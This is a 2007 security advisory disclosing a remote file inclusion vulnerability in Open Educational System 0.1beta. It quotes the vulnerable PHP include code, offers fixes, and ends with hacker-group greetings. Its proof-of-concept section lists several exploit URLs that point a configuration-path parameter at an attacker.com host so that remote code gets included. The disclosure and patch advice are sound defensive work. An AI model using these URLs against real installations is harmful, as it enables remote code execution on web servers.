------------------------------------------------------------------------ ----------------- [ECHO_ADV_69$2007] OES (Open Educational System) 0.1beta Remote File Inclusion Vulnerability ------------------------------------------------------------------------ ----------------- Author : M.Hasran Addahroni Date : March, 12th 2007 Location : Australia, Sydney Web : http://advisories.echo.or.id/adv/adv69-K-159-2007.txt Critical Lvl : Dangerous ------------------------------------------------------------------------ --- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : Open Educational System version : 0.1beta Vendor : http://openeducation.sourceforge.net Description : OES (Open Educational System) which is a free for use, open source, and multi-platform, multi-language and user-friendy design online e-learning platform. The system is integrate and suitable use for any high-school, college or university ------------------------------------------------------------------------ --- Vulnerability: ~~~~~~~~~~~~~~ - Invalid include function at includes/lib-account.inc.php : ----------------includes/lib-account.inc.php------------------- <?php // File : /include/lib-account.inc.php // // Description : This library is for administrator and normal user account mangement. // Include the configuration file. include_once ( $CONF_CONFIG_PATH.'/config.inc.php' ); // Include the main include file for running all routine. include_once ( $CONF_INCLUDE_PATH.'/library.inc.php' ); // Include the ADOdb Class include_once ( $CONF_INCLUDE_PATH.'/adodb/adodb.inc.php'); ... ---------------------------------------------------------------- Variables $CONF_INCLUDE_PATH is not properly sanitized. When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script. also affected files : includes/lib-file.inc.php includes/lib-group.inc.php includes/lib-log.inc.php includes/lib-mydb.inc.php includes/lib-template-mod.inc.php includes/lib-themes.inc.php Poc/Exploit: ~~~~~~~~~~ http://www.target.com/[OES_path]/includes/lib-account.inc.php?CONF_CONFI G_PATH=http://attacker.com/evil? http://www.target.com/[OES_path]/includes/lib-group.inc.php?CONF_CONFIG_ PATH=http://attacker.com/evil? http://www.target.com/[OES_path]/includes/lib-log.inc.php?CONF_CONFIG_PA TH=http://attacker.com/evil? http://www.target.com/[OES_path]/includes/lib-mydb.inc.php?CONF_CONFIG_P ATH=http://attacker.com/evil? http://www.target.com/[OES_path]/includes/lib-template-mod.inc.php?CONF_ CONFIG_PATH=http://attacker.com/evil? http://www.target.com/[OES_path]/includes/lib-themes.inc.php?CONF_CONFIG _PATH=http://attacker.com/evil? Solution: ~~~~~~~ - Sanitize variable $CONF_INCLUDE_PATH on affected files. - Turn off register_globals ------------------------------------------------------------------------ --- Shoutz: ~~~~~ ~ ping - my dearest wife, and my little son, for all the luv the tears n the breath ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments) ~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,bayl aw ~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16 ~ newbie_hacker (at) yahoogroups (dot) com [email concealed] ~ #aikmel #e-c-h-o @irc.dal.net ------------------------------------------------------------------------ --- Contact: ~~~~~~ K-159 || echo|staff || eufrato[at]gmail[dot]com Homepage: http://k-159.echo.or.id/ -------------------------------- [ EOF ] ----------------------------------